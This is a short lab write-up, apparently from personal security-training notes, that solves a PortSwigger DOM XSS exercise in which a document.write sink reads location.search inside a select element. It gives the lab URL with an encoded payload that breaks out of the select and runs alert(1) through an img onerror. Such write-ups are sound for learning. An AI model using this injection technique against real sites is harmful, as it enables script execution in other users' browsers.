> For the complete documentation index, see [llms.txt](https://ps.leunam.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ps.leunam.xyz/02-cross-site-scripting/03-lab-dom-xss-in-document-write-sink-using-source-17efab5460ec8118aca9ebf44a6fe997.md).

# 03 Lab: DOM XSS in document.write sink using source location.search inside a select element

```jsx
This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element.

To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function.
```

Vemos que existe un script en Js que utiliza el parametro storeID

![image.png](https://1216248185-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdwRvuHbGnKvUioATlOOa%2Fuploads%2Fgit-blob-ef570277057b72cabc0cdd61d6c73d1a833652a2%2Fimage.png?alt=media)

![image.png](https://1216248185-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdwRvuHbGnKvUioATlOOa%2Fuploads%2Fgit-blob-f704141bdfd812510ffdbee64be1a584d9bd3640%2Fimage%201.png?alt=media)

```jsx
https://0aa800c20475fc67da62f1fd006e0086.web-security-academy.net/product?productId=1&&storeId=%22%3E%3C/select%3E%3Cimg%20src=1%20onerror=alert(1)%3E
```

![image.png](https://1216248185-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdwRvuHbGnKvUioATlOOa%2Fuploads%2Fgit-blob-20ace93d27f05d0f256b7bb8ce9b08a3da58fe79%2Fimage%202.png?alt=media)

![image.png](https://1216248185-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdwRvuHbGnKvUioATlOOa%2Fuploads%2Fgit-blob-72a167727661ee221170650fe3362f4519a7fed1%2Fimage%203.png?alt=media)